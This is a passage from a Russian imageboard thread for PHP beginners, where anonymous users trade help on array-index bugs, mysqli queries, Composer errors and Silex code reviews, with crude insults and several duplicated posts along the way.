ЧЯДНТ?
Шаблон basic, стоит винда.
#289 #562201
>>562199
Добавлю- глянул ОП-пост, почему ОП не пишет про Денвер, чтоб тестить свои поделки? Ведь всё уже есть, просто ставишь Денвер и проверяешь свои сайты. Ну да, скайпиком не попользуешься, единственный минус.
#290 #562206
>>562201
брат ответь на №284
ты ж онлайн
#291 #562208
>>562049
>>562201
>>562206
Говна поешьте, пидоры, совсем азы спрашиваете. Для кого оп-пост писали? Идите и пилите с нуля элементарщину, уебки.
#292 #562210
>>562200
Всегда проигрываю с этой вебмки
#293 #562216
>>562208
Двачую неадеквата.
>>562049

>как сделать подобное


Выучить php, либо сделать на cms.
Какой ответ ты ожидал?
>>562057
http://www.intuit.ru/studies/courses/2/2/info
>>562199
Все ссылки в оп-посте.
>>562201
Денвер для быдла (как и вообще виндоус). Сервера нужно ставить руками, у сборок куча некорректных настроек.
Ссылка на инструкцию по установке php apache mysql в оп-посте.
#294 #562219
>>562216
спасибо огромное
как раз учу php на wordstat'е
мне этого хватит для создания подобного?
95 Кб, 614x614
#295 #562225
>>562219

>как раз учу php на wordstat'е


Конечно, хватит.
#296 #562263
>>562225
а сколько примерно потребуется учить сидеть?
до какого уровня(хотя хз как ты мне ответишь на этот вопрос, ведь все зависит сколько я в день сижу и занимаюсь этим)
по сути кодить могу только вечером
а в течении дня могу читать
и каков примерный прайс на создание подобного движка на php?
42 Кб, 602x802
#297 #562265
>>562263
Сука, ты настолько тупой имбецил, что даже не понял, что над тобой посмеялись.
Иди на бейсике пиши, тупица.
#298 #562284
>>562263
Смотри, php и другие it технологии имеет смысл учить, только если серьезно собираешься этим заниматься, потому что это требует очень много времени, год или около того.

Сайт который ты скинул примитивен до крайности, и учить несколько технологий ради того чтобы создавать подобное конечно не стоит.
Для таких шаблонных сайтов существуют cms типа wordpress, они именно для этого разрабатывались. Освоить wordpress можно за пару дней, изучение верстки займет конечно больше.
34 Кб, 802x535
#299 #562291
>>562284

>Сайт который ты скинул примитивен до крайности


>cms типа wordpress


О, ещё один обмудок.
#300 #562297
>>562291
Чертов шизофреник.
Что ты вообще делаешь в этом треде?
40 Кб, 697x802
#301 #562300
>>562297
Хуесосю таких мудаков, типа тебя.
Ты хоть понимаешь, какой бред ты несёшь? Какой нахуй вордпресс, придуря кусок?
1 Кб, 131x43
#302 #562327
В чем может быть проблема? ElementaryOS. Сохраняю в UTF-8.
5 Кб, 250x70
#303 #562371
Вот задачка про генерацию стиха. Вроде работает, НО. Иногда какое то из слов пропускается (на пике в первой строке нет последнего слова). Что я делаю не так?
За ранее спасибо.<?php
error_reporting(-1);

$word1 = array('Чудесных', 'Суровых', 'Занятных', 'Внезапных');
$word2 = array('слов', 'зим', 'глаз', 'дней', 'лет', 'мир', 'взор');
$word3 = array('прикосновений', 'поползновений', 'судьбы явлений',
'сухие листья', 'морщины смерти', 'долины края', 'замены нету',
'сухая юность', 'навек исчезнув');
$word4 = array('обретаю', 'понимаю', 'начертаю', 'закрываю', 'оставляю',
'вынимаю', 'умираю', 'замерзаю', 'выделяю');
$word5 = array('очертания', 'безысходность', 'начертанья', 'смысл жизни',
'вирус смерти', 'радость мира');

/Srting1/

/Word1/
$random = mt_rand(0, count($word1));
$randWord1 = $word1[$random];

/Word 2/
$random = mt_rand(0, count($word2));
$randWord2 = $word2[$random];

/Word 3/
$random = mt_rand(0, count($word3));
$randWord3 = $word3[$random];

$string1 = "$randWord1 $randWord2 $randWord3";
/String1//

/Srting2/

/Word1/
$random = mt_rand(0, count($word1));
$randWord1 = $word1[$random];

/Word 2/
$random = mt_rand(0, count($word2));
$randWord2 = $word2[$random];

/Word 3/
$random = mt_rand(0, count($word3));
$randWord3 = $word3[$random];
$string2 = "$randWord1 $randWord2 $randWord3";
/String2//

/String3/

/Word4/
$random = mt_rand(0, count($word4));
$randWord4 = $word4[$random];

/Word 5/
$random = mt_rand(0, count($word5));
$randWord5 = $word5[$random];
$string3 = "$randWord4 $randWord5";
/String3//

echo "$string1 <br> $string2 <br> Я $string3";

?>
5 Кб, 250x70
#303 #562371
Вот задачка про генерацию стиха. Вроде работает, НО. Иногда какое то из слов пропускается (на пике в первой строке нет последнего слова). Что я делаю не так?
За ранее спасибо.<?php
error_reporting(-1);

$word1 = array('Чудесных', 'Суровых', 'Занятных', 'Внезапных');
$word2 = array('слов', 'зим', 'глаз', 'дней', 'лет', 'мир', 'взор');
$word3 = array('прикосновений', 'поползновений', 'судьбы явлений',
'сухие листья', 'морщины смерти', 'долины края', 'замены нету',
'сухая юность', 'навек исчезнув');
$word4 = array('обретаю', 'понимаю', 'начертаю', 'закрываю', 'оставляю',
'вынимаю', 'умираю', 'замерзаю', 'выделяю');
$word5 = array('очертания', 'безысходность', 'начертанья', 'смысл жизни',
'вирус смерти', 'радость мира');

/Srting1/

/Word1/
$random = mt_rand(0, count($word1));
$randWord1 = $word1[$random];

/Word 2/
$random = mt_rand(0, count($word2));
$randWord2 = $word2[$random];

/Word 3/
$random = mt_rand(0, count($word3));
$randWord3 = $word3[$random];

$string1 = "$randWord1 $randWord2 $randWord3";
/String1//

/Srting2/

/Word1/
$random = mt_rand(0, count($word1));
$randWord1 = $word1[$random];

/Word 2/
$random = mt_rand(0, count($word2));
$randWord2 = $word2[$random];

/Word 3/
$random = mt_rand(0, count($word3));
$randWord3 = $word3[$random];
$string2 = "$randWord1 $randWord2 $randWord3";
/String2//

/String3/

/Word4/
$random = mt_rand(0, count($word4));
$randWord4 = $word4[$random];

/Word 5/
$random = mt_rand(0, count($word5));
$randWord5 = $word5[$random];
$string3 = "$randWord4 $randWord5";
/String3//

echo "$string1 <br> $string2 <br> Я $string3";

?>
#304 #562382
>>562371
Во первых скидывать код сюда, да еще и под спойлер засовывать это гениально. Во вторых индексы в массивах начинаются с нуля. У тебя при выпадении максимального числа в рандоме (count(массив)) будет обращение к несуществующему индексу.
#305 #562400
>>562371
Повторяющиеся куски кода лучше вынести в функцию.
#306 #562411
>>562382

> скидывать код сюда, да еще и под спойлер засовывать


Прошу прощения, я просто даун.

> Во вторых индексы в массивах начинаются с нуля


Но ведь первый элемент массива имеет ключ 0 или я не прав?

>>562400
Как на моем примере это реализовать?
#307 #562413
Подскажите пожалуйста что не так: $abc=mysqli_query($connect, "SELECT DISTINCT * FROM words ORDER BY rand() LIMIT 1") or die("Ошибка вставки" . mysqli_error());
\techo "<br/>";
\tsession_start();
\twhile($data=mysqli_fetch_array($abc)){
\tif($data['word']==$_COOKIE['slovo1'])
\t\t\t{continue;}
\t\techo "Слово:\t", $data['translate'];
\t\techo "<br>";
\t\techo "Пример:\t", $data['translatexample'];
\t\techo "<br> <br>";
Хочу что-бы слова из базы данных выводились в рандоме и при этом не повторялись
#308 #562417
>>562411

>Но ведь первый элемент массива имеет ключ 0 или я не прав?


Я про это и написал. Видимо я не ясно выразился. Это не ошибка. Просто ты это не учитываешь. Попробуй создай массив $array и обратись к нему по индексу count($array), увидишь в чем дело.
#309 #562419
>>562417
Я понял ошибку за секунду, как ты отправил пост лол! Функция mt_rand() будет давать возможное значение 4, при максимальном элементе в массиве с ключом 3.
Спасибо за помощь. У вас замечательный гайд для ньюфагов.
#310 #562437
>>562413
Проблему решил увеличением выборки, Limit = количеству слов в бд
#311 #562522
Пытаюсь установить шаблонизаторы на yii2 по этому гайду https://github.com/yiisoft/yii2/blob/master/docs/guide-ru/tutorial-template-engines.md
запустив composer update --prefer-dist в командной строке получаю

PHP Fatal error: Call to undefined method Fxp\Composer\AssetPlugin\Package\Version\VersionParser::parseLinks()
in C:\Users\user\AppData\Roaming\Composer\vendor\fxp\composer-asset-plugin\Repository\VcsPackageFilter.php on line 272

Fatal error: Call to undefined method Fxp\Composer\AssetPlugin\Package\Version\VersionParser::parseLinks()
in C:\Users\user\AppData\Roaming\Composer\vendor\fxp\composer-asset-plugin\Repository\VcsPackageFilter.php on line 272

как решить проблему?
#312 #562657
Анон, помоги пожалуйста, кто-нибудь из вас точно сталкивался и знает наверняка. Есть код который проверяет сделал ли человек репост определенной записи со стены группы к себе на страничку. Приветсвие - указание что необходимо сделать такие-то действия, кнопка Готово. Далее идет авторизация через приложение и через метод wall.getReposts проверяется делал ли этот пользователь репост. Если да, то делается редирект, если нет, то выдается ошибка. Суть вот в чем, ссылку на функцию репоста именно этой записи нужно вставить на страницу просто одной кнопкой, нажав на которую уже его спросит действительно ли он это желает и тд и тп. Но именно такого не нашел, нашел лишь вот это:
https://vk.com/dev/Share
Этод метод позволяет репостить объект как ссылку, а не как именно запись со стены. Есть ли способ засунуть под кнопку функцию срабатывания именно нужного мне события?
Сейчас возможность репоста записи из под страницы моего сайта реализована с помощью
https://vk.com/dev/Post
Но эта ебала занимает кучу места и имеет охуевшее количество лишней информации. Хочется же просто засунуть все это под одну кнопку, по нажатию которой уже будет спрашиваться о желании репоста также как и меодом Share. Еще как минус моего нынешнего решения, так это если заходить с мобилы (а заходить будут в 99% случаев именно с нее), при этом в браузере быть не авторизованным ВК, то этот ебаный блок с записью даже не предлагает авторизоваться при нажатии репоста.
2628 Кб, 1092x820
#313 #562696
Расскажите мне почему я пидор
#314 #562705
>>562696
сделай три класса отдельно для получения данных, хеширования и проверки пароля, скотина ты блядская.
#315 #562706
Собсно, такой вопрос, а вот эти паттерны, описанные для пхп, их же можно применять в других ЯП, шарпе, например?
#316 #562710
Аноны, хочу покодить на красивом текстовом редакторе, чтобы было приятно код писать. Идеон заебал.

Но заставить текстовый редактор интерпритировать код php? Установить локальный сервер и как-то редактор к нему подключить?

Или может иде какую скачать, там такое возможно?

Посоветуйте че нить.
#317 #562716
>>562710
У меня хамп стоит, все проекты складируются в htdocs. Установил бинс, и создал в нем проект, прописав путь до папки htdocs. Вот и все.
#318 #562720
В чем разница между структурными, порождающими и поведенческими паттернами?
К поведенческим, наверное, Observer и Visitor относится. К порождающим Application Controller потому что создает внутри себя объекты других классов? К структурным обычные паттерны типа Registry?

алсо полез в AppData стирать пароль, удалил подозрительную папку, оказалось, что это были куки или кэш из Теры с моим прокачанным персом, пришлось игру переустанавливать.
#319 #562756
>>560134

> Можно ли как-нибудь сделать так, чтобы для добавления новых постов и тредов использовались дефолтные сгенерированные формы?



Там в АПи есть какие-то функции:

https://api.drupal.org/api/drupal/includes%21form.inc/function/drupal_build_form/7
https://api.drupal.org/api/drupal/includes%21form.inc/function/drupal_get_form/7
https://api.drupal.org/api/drupal/includes%21form.inc/group/form_api/7

Может их как-то можно использовать.

Я считаю Друпал ужасен в плане кода, там все на функциях и массивах непонятной структуры (попробуй например разобраться в функциях выше). Борду лучше всего делать на MVC фреймворке вроде Юи или Слим.

Я когда-то работал с друпалом, это ад и постоянные костыли.
https://github.com/blackberryJam/filehosting/ #320 #562757
>>560087

>>Ты размер текстом хранишь? Как ты собрался складывать 15 Мб + 12 Кб?


> Да я как-то не смотрел так далеко. Такое может потребоваться наверно только при организации каталогов. Но ок, поменяю, данные, наверно, должны быть максимально "сырыми".


Именно так, в базе надо хранить числа, а форматировать при выводе. К тому же это соответствует принципам нормализации базы данных.

> Я пока ещё не думал над этим. Код, имеющий отношение к комментам - лишь задел на будущее. Но судя по всему, там только один правильный выбор - materialized path?


Да

> Логика такая: первое слово - сущность, к которой сервис имеет отношение, второе - его имя, третье - его зависимости.


Но только у тебя есть сервисы из 1, 2 и 3 слов. Ты сам своим же правилам не следуешь. И зачем указывать в названии сервиса зависимости? Это излишне.

>>Я не думаю, что «текущий юзер» это сервис так как он может меняться (юзер залогинился/вылогинился). Не надо его делать сервисом, надо получать его из login_manager


> $app['user'] удобно цеплять к отправляемому комментарию или файлу (но можно обойтись и без этого, только запись длиннее будет). А в сценариях, где состояние юзера в течение скрипта изменяется, это использовать не планируется.


Нет, у тебя непонимание. Объект-сервис (которые хранятся в $app) это один объект который там всегда хранится и который не меняется. Текущий пользователь это не постоянная вещь. Сейчас пришел запрос от одного пользоваетля, потом от другого, потом от третьего, но он разлогинился и на полпути стал анонимусом. Текущего пользователя нельзя хранить а $app, а раз ты хранишь значит ты не понимаешь что такое Service Container. Тебе стоит прочесть:

http://silex.sensiolabs.org/doc/services.html

К тому же у тебя есть LoginManager или что-то такое и текущего пользователя можно получить из него. Зачем дублировать данные? Так что нет, это явная ошибка и неправильное использование возможностей фреймворка.

> В мануале написано, что в TwigServiceProvider всегда передаётся экземпляр Silex\Application. Я решил этим воспользоваться: вместо того, чтобы тащить это значение через контроллер во вью, при смене состояния пользователя, мы всегда меняем это значение в $app, а из вью просто к нему обращаемся.


Неправильное решение. Залогиненность пользователя это не постоянная величина, она может меняться, значит не надо ее хранить в $app, а надо вызывать $loginManager->isLoggedIn(). Ну или можно выставлять в конце обработки запроса переменную для твига, но в $app ее совать не надо.

>>Также у тебя по моему нет проверки, что перетасиквается, один файл или несколько


> А зачем это? Он и один загрузит, и несколько. Перетащенные файлы кидаются в массив, а при клике на кнопку вызывается forEach по массиву.


Ладно, эту фичу надо еще изучить, пока вижу что нет обработки ошибок, нет кнопки выбора файла через диалог. То есть например с мобильного устройства ничего загрузить вообще не возможно.

Код на JS никак не разбит на функции, отправка запроса не сделана отдельной функцией, а все переменшано.

> Добавлю позже. Сейчас бы с новыми для меня вещами разобраться. С аяксом, DOM, фреймворками.


Неправильный подход, сначала стоит разобраться с классчической загрузкой файлов, а потом с аяксом.

>>> {% set lm = attribute(app, "user.service.login_manager") %}


>>Странный какой-то код


> Что с ним не так?


Что ты получаешь какие-то сервисы во вью. Зачем это? Передавай все что нужно заранее.

>>Я думаю, лучше не создавать новый пустой файл, а возвращать null. А то нелогично как-то, файла нет, зачем его создавать?


> Ну там в коллбеке тайп-хинт File. Его убрать?


Написать File $file = null и тогда null можно передавать.

>>Метод GET нельзя применять для изменения данных на сервере, используй POST. На GET можно показывать только форму для удаления.


> То есть для удаления файла надо слать форму?


Да, можно форму из одной кнопки + скрытое поле с id. Можно аякс-запрос. Это вообще-то основы HTTP, плохо что ты их не изучил. И мой урок про работу с формами (где рассказывается про разницу GET/POST) тоже видимо пропустил.

> На моих браузерах всё работало (хром и лиса),


Список браузеров не ограничивается установленными у тебя версиями Хрома и Лисы. ИЕ например воспринимает имя в другой кодировке, по моему cp1251. А вот RFC по HTTP говорит что в заголовках используются только ASCII символы.

> Браузеры ставят utf-8 по умолчанию при не ascii-символах?


каждый браузер понимает как хочет. Не нарушай RFC.

> И ещё, а есть смысл писать что-то вроде filename="{urlencode($file->getName())}"?


Тогда ты получишь нечитаемое имя файла вроде %20%30%cf. Я тебе выше написал решение (URL должен заканчиваться на требуемое имя).

> А то, что я храню MediaInfo в базе в виде urlencoded-строки - это ничего?


Если так то конечно плохо, так как urlencode предназначено для кодирования фрагментов URL, и зачем оно в базе непонятно. Разберемся с этим в седующий раз.

> Да и с тем, как это реализовано на большинстве сайтов, чему там учиться-то? В зависимости от некоторого условия (им может быть даже гет-параметр, но это не красиво) передаём во вью необходимый массив значений.


Нет, это кривой неудобный велосипед, в то время как есть нормальные решения (библиотека gettext, расширение Intl), также ты не продумал как собирать и переводить тексты, как их передавать переводчикам, как работать со склонениями (1 файл/2 файла, Ваня загрузил/Маша загрузила) и тд.
https://github.com/blackberryJam/filehosting/ #320 #562757
>>560087

>>Ты размер текстом хранишь? Как ты собрался складывать 15 Мб + 12 Кб?


> Да я как-то не смотрел так далеко. Такое может потребоваться наверно только при организации каталогов. Но ок, поменяю, данные, наверно, должны быть максимально "сырыми".


Именно так, в базе надо хранить числа, а форматировать при выводе. К тому же это соответствует принципам нормализации базы данных.

> Я пока ещё не думал над этим. Код, имеющий отношение к комментам - лишь задел на будущее. Но судя по всему, там только один правильный выбор - materialized path?


Да

> Логика такая: первое слово - сущность, к которой сервис имеет отношение, второе - его имя, третье - его зависимости.


Но только у тебя есть сервисы из 1, 2 и 3 слов. Ты сам своим же правилам не следуешь. И зачем указывать в названии сервиса зависимости? Это излишне.

>>Я не думаю, что «текущий юзер» это сервис так как он может меняться (юзер залогинился/вылогинился). Не надо его делать сервисом, надо получать его из login_manager


> $app['user'] удобно цеплять к отправляемому комментарию или файлу (но можно обойтись и без этого, только запись длиннее будет). А в сценариях, где состояние юзера в течение скрипта изменяется, это использовать не планируется.


Нет, у тебя непонимание. Объект-сервис (которые хранятся в $app) это один объект который там всегда хранится и который не меняется. Текущий пользователь это не постоянная вещь. Сейчас пришел запрос от одного пользоваетля, потом от другого, потом от третьего, но он разлогинился и на полпути стал анонимусом. Текущего пользователя нельзя хранить а $app, а раз ты хранишь значит ты не понимаешь что такое Service Container. Тебе стоит прочесть:

http://silex.sensiolabs.org/doc/services.html

К тому же у тебя есть LoginManager или что-то такое и текущего пользователя можно получить из него. Зачем дублировать данные? Так что нет, это явная ошибка и неправильное использование возможностей фреймворка.

> В мануале написано, что в TwigServiceProvider всегда передаётся экземпляр Silex\Application. Я решил этим воспользоваться: вместо того, чтобы тащить это значение через контроллер во вью, при смене состояния пользователя, мы всегда меняем это значение в $app, а из вью просто к нему обращаемся.


Неправильное решение. Залогиненность пользователя это не постоянная величина, она может меняться, значит не надо ее хранить в $app, а надо вызывать $loginManager->isLoggedIn(). Ну или можно выставлять в конце обработки запроса переменную для твига, но в $app ее совать не надо.

>>Также у тебя по моему нет проверки, что перетасиквается, один файл или несколько


> А зачем это? Он и один загрузит, и несколько. Перетащенные файлы кидаются в массив, а при клике на кнопку вызывается forEach по массиву.


Ладно, эту фичу надо еще изучить, пока вижу что нет обработки ошибок, нет кнопки выбора файла через диалог. То есть например с мобильного устройства ничего загрузить вообще не возможно.

Код на JS никак не разбит на функции, отправка запроса не сделана отдельной функцией, а все переменшано.

> Добавлю позже. Сейчас бы с новыми для меня вещами разобраться. С аяксом, DOM, фреймворками.


Неправильный подход, сначала стоит разобраться с классчической загрузкой файлов, а потом с аяксом.

>>> {% set lm = attribute(app, "user.service.login_manager") %}


>>Странный какой-то код


> Что с ним не так?


Что ты получаешь какие-то сервисы во вью. Зачем это? Передавай все что нужно заранее.

>>Я думаю, лучше не создавать новый пустой файл, а возвращать null. А то нелогично как-то, файла нет, зачем его создавать?


> Ну там в коллбеке тайп-хинт File. Его убрать?


Написать File $file = null и тогда null можно передавать.

>>Метод GET нельзя применять для изменения данных на сервере, используй POST. На GET можно показывать только форму для удаления.


> То есть для удаления файла надо слать форму?


Да, можно форму из одной кнопки + скрытое поле с id. Можно аякс-запрос. Это вообще-то основы HTTP, плохо что ты их не изучил. И мой урок про работу с формами (где рассказывается про разницу GET/POST) тоже видимо пропустил.

> На моих браузерах всё работало (хром и лиса),


Список браузеров не ограничивается установленными у тебя версиями Хрома и Лисы. ИЕ например воспринимает имя в другой кодировке, по моему cp1251. А вот RFC по HTTP говорит что в заголовках используются только ASCII символы.

> Браузеры ставят utf-8 по умолчанию при не ascii-символах?


каждый браузер понимает как хочет. Не нарушай RFC.

> И ещё, а есть смысл писать что-то вроде filename="{urlencode($file->getName())}"?


Тогда ты получишь нечитаемое имя файла вроде %20%30%cf. Я тебе выше написал решение (URL должен заканчиваться на требуемое имя).

> А то, что я храню MediaInfo в базе в виде urlencoded-строки - это ничего?


Если так то конечно плохо, так как urlencode предназначено для кодирования фрагментов URL, и зачем оно в базе непонятно. Разберемся с этим в седующий раз.

> Да и с тем, как это реализовано на большинстве сайтов, чему там учиться-то? В зависимости от некоторого условия (им может быть даже гет-параметр, но это не красиво) передаём во вью необходимый массив значений.


Нет, это кривой неудобный велосипед, в то время как есть нормальные решения (библиотека gettext, расширение Intl), также ты не продумал как собирать и переводить тексты, как их передавать переводчикам, как работать со склонениями (1 файл/2 файла, Ваня загрузил/Маша загрузила) и тд.
#321 #562758
>>560826

>> в логической структуре сайта неправильно на мой взгляд сделаны города.


Не согласен. Мне например часто приходится искать по всей стране, и меня очень раздражает эта всплывающая поебень, которая пытается определить мое местоположение и т.д.

> Пусть пользователь, которому нужно искать в конкретном городе, выберет этот город явно, не помрет.


Но и авито, и крейгслист сгруппированы по городам не просто так. Одно дело это сайты типа eBay где товары отправляются по почте, и где местоположение не так принципиально, другое дело это сайты объявлений где большинство товаров передаются из рук в руки и люди должны быть в одном городе (или в пригороде). Потому они и структурированы так.

> Мне например часто приходится искать по всей стране,


Но у тебя как раз плохо с выбором, где искать, либо один конкретный город, либо вся страна, нельзя например искать в регионе или в окрестностях города.

> Пусть пользователь, которому нужно искать в конкретном городе, выберет этот город явно, не помрет.


Он не помрет, он пойдет на более удобный сайт.

>> «искать только в моем городе» - «искать в моем регионе» (или в ближайших пригородах, но тогда надо иметь связи между ними) - «искать везде».


> Непонятное усложнение.


Нет, это ближе к реальным сценариям, пользователь готов съездить за товаров в определенном радиусе, но не дальше. Пользователь из Зеленограда может съедить в Москву (куда ходит много транспорта), но не поедет например в Новгород.

> То ли у меня там текст не помещался,


Длинный текст лучше обрезать либо с помощью text-overflow: ellipsis, либо в Твиге.

> а может быть подучу blueprint,


Можешь подучить, но я бы не сказал что они известный и не сказал бы что он хороший. И я советую подучить CSS сначала, если ты вдруг его не очень хорошо знаешь.

> Что такое сервис?


Отдельный класс с высокоуровневой логикой. Ну например сервис регистрации может вставлять пользователя в базу, отправлять письма, увеличивать разные счетчики. А ты пока всю выскокуровневую логику пишешь в контроллере и это плохо, это ведет к бардаку и гиганским контроллерам по мере добавления фич.

> Да, я вижу, что много кода в контроллерах, но не знаю куда (по каким классам) это разносить


Ну не знаю, вот тут какие-то ссылки есть: http://yupe.ru/talk/viewtopic.php?t=287

В общем случае это просто папка с классами.

> Это не html, listData генерирует массив данных для выпадающих списков.


А почему в модели? В Юи так принято? Странно конечно.

>>560837

Много лет, начинал с программ для 8-битных компьютеров, но думаю, это не имеет особого значения.

>>560888

>>Теперь выпили карго-массив $options из этой функции


> нет чувак, это сделать не получится.


А ты попробуй сначала

> 2) что бы передавать из метода готовый массив для общения с контроллером и клиентским ЖС через JSON /пик/


Зачем клиентскому JS поле dbConnection которое ты там возвращаешь?

> пик


> htmlPageClass


Зачем тут слово класс? Классы принято называть с большой буквы и в этом случае и так очевидно где имя класса и приписывать что это класс, не требуется. Ну и у тебя судя по всему это не класс предсавляющий информацию о странице, а класс работабщий с БД, так что правильнее назвать HtmlPageTableGateway

> 3) что бы обнулять память, так как у моего хостера тарифный план завязан на расходе памяти


Ты бы почитал сначала как PHP работает с памятью. Люди которые этого не понимают, не должны заниматься оптимизациями.

> тебя не смущает, что метод crupPage() возможно общается с контроллером /пик/ как раз массивом, который потом передаётся в ЖС через JSON, т.е. $this->performSqlQuery() выдаёт не одно true, а целый набор статусов, таких как номер новой записи, или количество затронутых строк etc.?


У тебя все смешано в кучу, все это можно делать отдельными методами.

> не вижу особого смысла превращать класс Page в абстракцию таблицы pages, можно, но в чем профиты?


В том что ты будешь лучше разбираться в программировании.

> у меня оплата не по часам.


Неужели за такой код тебе кто-то еще и платит? Я удивлен. Пока твои знания, на мой взгляд, недостаточны чтобы работать программистом, тебе надо больше уделять времени учебе.
#321 #562758
>>560826

>> в логической структуре сайта неправильно на мой взгляд сделаны города.


Не согласен. Мне например часто приходится искать по всей стране, и меня очень раздражает эта всплывающая поебень, которая пытается определить мое местоположение и т.д.

> Пусть пользователь, которому нужно искать в конкретном городе, выберет этот город явно, не помрет.


Но и авито, и крейгслист сгруппированы по городам не просто так. Одно дело это сайты типа eBay где товары отправляются по почте, и где местоположение не так принципиально, другое дело это сайты объявлений где большинство товаров передаются из рук в руки и люди должны быть в одном городе (или в пригороде). Потому они и структурированы так.

> Мне например часто приходится искать по всей стране,


Но у тебя как раз плохо с выбором, где искать, либо один конкретный город, либо вся страна, нельзя например искать в регионе или в окрестностях города.

> Пусть пользователь, которому нужно искать в конкретном городе, выберет этот город явно, не помрет.


Он не помрет, он пойдет на более удобный сайт.

>> «искать только в моем городе» - «искать в моем регионе» (или в ближайших пригородах, но тогда надо иметь связи между ними) - «искать везде».


> Непонятное усложнение.


Нет, это ближе к реальным сценариям, пользователь готов съездить за товаров в определенном радиусе, но не дальше. Пользователь из Зеленограда может съедить в Москву (куда ходит много транспорта), но не поедет например в Новгород.

> То ли у меня там текст не помещался,


Длинный текст лучше обрезать либо с помощью text-overflow: ellipsis, либо в Твиге.

> а может быть подучу blueprint,


Можешь подучить, но я бы не сказал что они известный и не сказал бы что он хороший. И я советую подучить CSS сначала, если ты вдруг его не очень хорошо знаешь.

> Что такое сервис?


Отдельный класс с высокоуровневой логикой. Ну например сервис регистрации может вставлять пользователя в базу, отправлять письма, увеличивать разные счетчики. А ты пока всю выскокуровневую логику пишешь в контроллере и это плохо, это ведет к бардаку и гиганским контроллерам по мере добавления фич.

> Да, я вижу, что много кода в контроллерах, но не знаю куда (по каким классам) это разносить


Ну не знаю, вот тут какие-то ссылки есть: http://yupe.ru/talk/viewtopic.php?t=287

В общем случае это просто папка с классами.

> Это не html, listData генерирует массив данных для выпадающих списков.


А почему в модели? В Юи так принято? Странно конечно.

>>560837

Много лет, начинал с программ для 8-битных компьютеров, но думаю, это не имеет особого значения.

>>560888

>>Теперь выпили карго-массив $options из этой функции


> нет чувак, это сделать не получится.


А ты попробуй сначала

> 2) что бы передавать из метода готовый массив для общения с контроллером и клиентским ЖС через JSON /пик/


Зачем клиентскому JS поле dbConnection которое ты там возвращаешь?

> пик


> htmlPageClass


Зачем тут слово класс? Классы принято называть с большой буквы и в этом случае и так очевидно где имя класса и приписывать что это класс, не требуется. Ну и у тебя судя по всему это не класс предсавляющий информацию о странице, а класс работабщий с БД, так что правильнее назвать HtmlPageTableGateway

> 3) что бы обнулять память, так как у моего хостера тарифный план завязан на расходе памяти


Ты бы почитал сначала как PHP работает с памятью. Люди которые этого не понимают, не должны заниматься оптимизациями.

> тебя не смущает, что метод crupPage() возможно общается с контроллером /пик/ как раз массивом, который потом передаётся в ЖС через JSON, т.е. $this->performSqlQuery() выдаёт не одно true, а целый набор статусов, таких как номер новой записи, или количество затронутых строк etc.?


У тебя все смешано в кучу, все это можно делать отдельными методами.

> не вижу особого смысла превращать класс Page в абстракцию таблицы pages, можно, но в чем профиты?


В том что ты будешь лучше разбираться в программировании.

> у меня оплата не по часам.


Неужели за такой код тебе кто-то еще и платит? Я удивлен. Пока твои знания, на мой взгляд, недостаточны чтобы работать программистом, тебе надо больше уделять времени учебе.
#322 #562759
>>560907

> кек, а что не пойти дальше, давай уже сделаем так


Ты по моему ничего не понял.

> это же сферический индусо-каргокульт,


Мартин Фаулер в своей книге одобряет, а он точно не индус. Наоборот, это у тебя код который никто кроме тебя не разберет. А когда его передадут другому разработчику, он откажется с ним работать и скажет что надо переписать все заново. Я тебе советую начать с главы про ООП в нашем учебнике, решить задачи про Вектор и Кошки-мышки, тогда ты как минимум с объектами и классами научишься работать. Ну и дальше можно за задачу про студентов браться.

>>560964

Там колонки одной таблицы.

>>561003

> Там вот главная беда в том, что ширина у меня постоянная, а левый margin нарастает


обнуляй доходя до последней картинки

>>561081

resetPasswordAction

>>561112

Запости код, попроси подсказку. В этом и суть обучения, для того тред и создан.

>>561116

Зайди туда и посмотри. Там вроде где-то были цифры.

>>561190

да дело не только в этом, дело еще в том что потом в нем никто не сможет разобраться и придется переписывать. И хуже всего если переписывать возьмется аутист который изобретет еще один велосипед. Я этих велосипедов насмотрелся и больше видеть не хочу. Пишите на фреймворках и применяйте стандартные подходы. Никому ваша оригинальность не нужна.

>>561202

Никуда не девать. Ты же его можешь вычислить заново в любой момент.

>>561211

> Анон, что не так?


Код не дописан. У тебя только 2 варианта: выпали даблы или не выпали. А надо проверять такие варианты:

- выпали даблы
- у робота больше очков
- у робота меньше
- ничья

Соответственно нужен if /elseif/ else из 4 блоков.

>>561220

Не знаю.

>>561222

Все возможно.

>>561232

Ищут способного джуниора, которого будут бросать на разные задачи в зависимости от скиллов. Чем скиллов больше тем выше шанс что возьмут.

> Разработка на языках Java или PHP веб-проектов различной сложности и поддержка существующих.


Для начала наверно будет поддердка существующих. Скорее всего это студия у которой куча сайтов и по которым нужны доработки.

>>561246

А ты думаешь зарплату платят просто за красивые глаза? Или за какие-то приносящие коммерческую пользу навыки?

>>561250

Справедливости ради, научиться обжимать можно за 10 минут. Я дома, когда разъем отвалился, смог обжать даже без инструмента.

>>561308

Сделать облегающий див инлайн-блоком и правильно прописать на изображении стили. Алсо твой подход дурацкий.

У тебя если увеличивать масштаб на странице, картинка останется прежнего размера. Так сейчас делают некоторые западные сайты, например сайт скайпа (ну на западе всегда с версткой и дизайном было плохо, сколько я помню). Я каждый раз удивляюсь каких даунов там понабирали в качестве верстальщиков, эти дебилы услшали где-то что адаптивность это модно но в чем ее суть, не поняли.

Еще дебилов понабирали в твиттер, у них картинка при клике на твит открывается в крошечном окне, если там документ с текстом, ничего не прочесть. Ну ведь дауны, пишут кривую поделку на скале, и эти дауны получают многомиллионные инвестиции, стотысячные зарплаты и опционы, а я нет. И в этом суть IT-бизнеса.

>>561348

Тут можно CSS обойтись.

>>561357

Это плохо, так как картинку нельзя увеличить увеличением масштаба.

Ну или как надо сделать чтобы по клику картинка показывалась в исходном размере, и показать что по ней можно кликнуть, с помощью курсора-лупы (на мобильных устройствах сделать кнопку или надпись).

>>561363

В браузерах без поддержки translatе все разъедется.

Но задача про отображение картикни вообще хорошая, можно ее всем вместе порешать. Тут например еще не учтена возможность добавить заголовок и подвал, возможность увеличить картинку по клику.

>>561400

Не знаю, посмотри сколько в аналогичных вакансиях предлагают.

>>561530

Можно, вызывает привыкание.

>>561535

Монго не заработает на «любом слабом» сервере, начнем с этого.
#322 #562759
>>560907

> кек, а что не пойти дальше, давай уже сделаем так


Ты по моему ничего не понял.

> это же сферический индусо-каргокульт,


